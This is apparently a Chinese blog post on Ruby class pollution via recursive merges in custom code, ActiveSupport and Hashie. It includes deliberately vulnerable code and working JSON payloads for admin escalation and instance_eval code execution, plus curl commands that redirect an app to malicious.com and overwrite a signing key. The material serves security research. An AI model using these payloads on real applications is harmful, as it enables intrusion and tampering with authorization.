Ruby类污染技术深度解析:如何利用递归合并漏洞实现权限提升与代码执行

本文深入探讨Ruby中的类污染漏洞,这是一种类似于JavaScript原型污染的罕见安全威胁。通过分析递归合并操作在ActiveSupport和Hashie库中的具体实现,展示了如何利用该漏洞实现权限提升和远程代码执行,并提供了详细的利用代码和攻击场景分析。

简介

本文探讨了Ruby中一类鲜为人知的漏洞——类污染。这一概念灵感来源于JavaScript中的原型污染,攻击者通过递归合并操作来污染对象原型,引发意外行为。Ruby中的类污染可分为三种情况:

  1. 哈希合并:仅局限于哈希本身,无法实现类污染
  2. 属性合并(非递归):可污染对象的实例变量,但仅限于该对象
  3. 属性合并(递归):可逃逸出对象上下文,污染父类或无关类的属性和方法

属性合并攻击

让我们从一段代码示例开始,看看如何利用递归合并修改对象方法并改变应用行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
require 'json'

class Person
  attr_accessor :name, :age, :details
  
  def merge_with(additional)
    recursive_merge(self, additional)
  end
  
  def authorize
    if to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end
  
  def health_check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end
  
  private
  
  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        current_obj.instance_variable_set("@#{key}", value)
        current_obj.singleton_class.attr_accessor key
      end
    end
    original
  end
end

攻击原理

  • 初始化与设置User对象被初始化为普通用户
  • 合并操作:通过merge_with方法将JSON数据递归合并到用户对象
  • 行为篡改:通过精心构造的JSON数据,可以修改或注入新的实例变量

实际攻击示例

权限提升攻击

1
ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'

此攻击注入返回"Admin"的新to_s方法,授予用户未授权的管理员权限。

远程代码执行攻击

1
ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'

此攻击在protected_methods列表中注入新方法,然后通过instance_eval执行,允许任意代码执行。

真实世界案例分析

1. ActiveSupport的deep_merge

ActiveSupport提供了deep_merge方法用于哈希。单独使用时不易被利用,但结合以下代码可能变得脆弱:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)
  
  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end
  
  self
end

2. Hashie库的漏洞

Hashie库的deep_merge方法直接操作对象属性,使其更易受属性污染攻击。Hashie内置机制通常阻止方法被属性直接替换,但存在例外:

  • _!?结尾的属性仍可合并到对象中
  • 访问_属性会返回一个新的Mash对象,攻击者可利用此特性

Hashie攻击示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
require 'hashie'

class Person < Hashie::Mash
  def authorize
    if _.to_s == "Admin"
      puts "Access granted: #{@name} is an admin."
    else
      puts "Access denied: #{@name} is not an admin."
    end
  end
end

通过JSON负载{"_": "Admin"},攻击者可在临时Mash对象中注入"Admin"值,绕过基于方法的授权检查。

逃逸对象:污染类

当合并操作具有递归性且针对属性时,可能逃逸出对象上下文,污染类、其父类甚至其他无关类的属性或方法。

(A) 污染父类

通过递归合并操作修改父类的类变量,影响该类的所有实例:

1
2
3
curl -X POST -H "Content-Type: application/json" \
  -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' \
  http://localhost:4567/merge

此命令成功污染Person类的@@url变量,当访问/launch-curl-command端点时,应用将向恶意网站发送请求。

(B) 污染其他类

通过暴力尝试感染随机子类,最终可针对特定类进行污染:

1
2
3
4
5
for i in {1..1000}; do
  curl -X POST -H "Content-Type: application/json" \
    -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' \
    http://localhost:4567/merge --silent > /dev/null
done

此攻击尝试污染KeySigner类的@@signing_key变量,经过多次尝试后,签名密钥被替换为攻击者注入的密钥。

结论

本研究强调了Ruby中类污染的风险,特别是在涉及递归合并时。这些漏洞尤其危险,因为它们允许攻击者逃逸出对象的限制,操纵更广泛的应用程序上下文。通过理解这些机制并仔细考虑数据合并的处理方式,可以减轻Ruby应用程序中类污染的风险。

这种持久性的感染表明,一旦类被污染,整个应用程序上下文都会受到影响,涉及该类的所有未来操作都将表现出不可预测的行为。服务器设置还允许我们通过特定端点轻松检查这些受感染变量的状态,例如/check-infected-vars端点输出@@url@@signing_key变量的当前值,确认感染是否成功。

这种方法清楚地展示了Ruby中的类污染如何产生持久且影响深远的结果,使其成为需要重点保护的关键领域。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计